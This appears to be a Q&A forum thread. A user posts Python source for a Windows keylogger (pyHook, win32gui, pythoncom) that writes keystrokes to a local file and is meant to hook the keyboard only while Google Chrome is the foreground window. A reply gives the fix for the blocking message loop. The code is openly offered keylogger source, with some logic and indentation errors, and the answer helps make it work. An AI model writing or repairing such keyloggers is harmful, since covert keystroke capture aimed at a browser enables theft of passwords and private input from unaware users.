0

I created a simple Keylogger in python, but I want it to run only if Google Chrome is the Foreground Application (I mean only if the user is inside Google Chrome, the keylogger will Hook. If the user leaves the Chrome, the keylogger will stop and so on.) It works perfectly for the first time the user enter the Chrome, However if the Foreground App has been switched to another, the Keylogger continues. I found out that the problem is in the line: pythoncom.Pupmessages(). The code never continues aftre this line. Does someone have a solution?

import win32gui
import win32con
import time
import pyHook
import pythoncom
import threading

LOG_FILE = "D:\\Log File.txt"

def OnKeyboardEvent(event): # on key pressed function
    if event.Ascii:
        f = open(LOG_FILE,"a") # (open log_file in append mode)
        char = chr(event.Ascii) # (insert real char in variable)
    if char == "'": # (if char is q)
        f.close() # (close and save log file)
        exit() # (exit program)
    if event.Ascii == 13: # (if char is "return")
        f.write("\n") # (new line)
        f.write(char) # (write char)

def main():
    time.sleep(2)
    hooks = pyHook.HookManager()
    # Finding the Foreground Application at every moment.
    while True:
        time.sleep(0.5)
        newWindowTile = win32gui.GetWindowText(win32gui.GetForegroundWindow())
        print newWindowTile
    # Cheking if google chrome is running in the foreground.
    if 'Google Chrome?' in newWindowTile:
        hooks.KeyDown = OnKeyboardEvent
        hooks.HookKeyboard()
        pythoncom.PumpMessages()
        time.sleep(2)
if __name__ == "__main__":
    main()
huzefausama
  • 432
  • 1
  • 6
  • 22
ItayGamil
  • 1
  • 3

1 Answers1

2

You need to use pythoncom.PumpWaitingMessages() which is not blocking. pc.PumpWaitingMessages()

That should fix the code from not continuing.

PumpWaitingMessages: Pumps all waiting messages for the current thread.

PumpMessages: Pumps all messages for the current thread until a WM_QUIT message.

Source: Pythoncom documentation

Static
  • 193
  • 1
  • 1
  • 10